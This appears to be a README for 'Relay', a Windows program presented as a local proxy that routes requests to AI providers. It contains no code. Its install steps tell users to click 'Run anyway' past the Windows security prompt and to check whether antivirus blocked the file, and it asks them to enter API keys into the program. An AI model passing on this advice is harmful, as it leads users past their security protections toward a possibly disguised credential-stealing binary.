🌐 relay - Manage your own AI model traffic

Relay acts as a bridge between your applications and various AI services. It directs your requests to the correct model provider automatically. You keep full control over your data because the software runs on your computer.

📋 What does Relay do?

Many programs connect to AI services like OpenAI or Anthropic directly. Relay sits in the middle. It takes the requests from your software and sends them to the provider you choose. This setup gives you a single point to manage your AI connections. It supports multiple providers, including Ollama and Gemini.

The software features zero telemetry. This means the program does not send your data or usage habits to any company. Everything stays inside your local network.

💾 How to install the software

Follow these steps to set up Relay on your Windows computer:

1. Visit the download page to get the latest version.
2. Look for the file ending in .exe for Windows.
3. Save the file to a folder on your computer.
4. Double-click the file to start the program.

Windows might show a security prompt because the program is new. Click "More info" and then "Run anyway" if the screen appears.

⚙️ Configuration

Relay uses a configuration file to know where to send your requests. Upon the first run, the program creates a default settings file in the same folder. You can open this file with any text editor like Notepad. Enter your API keys for the services you want to use. You can define routes for different models here.

The program listens on your local machine by default. Your other applications should point to this local address instead of the public web addresses of AI providers.

💻 System Requirements

Relay is lightweight and does not require a complex installation process. Ensure your system meets these requirements:

• Windows 10 or 11.
• At least 50MB of free disk space.
• An active internet connection for reaching AI cloud services.
• Permissions to run applications from your user folder.

🛡️ Privacy and Security

Privacy remains the main benefit of this tool. No external servers track your interactions. The binary file contains everything it needs to run, so you do not need to install extra runtimes or frameworks. This reduces your attack surface and keeps your system clean.

❓ Troubleshooting

If the program fails to start, check if your antivirus software blocked the file. If requests fail, verify that your API keys in the configuration file remain valid. You can view the program logs in the console window that opens when you run the software.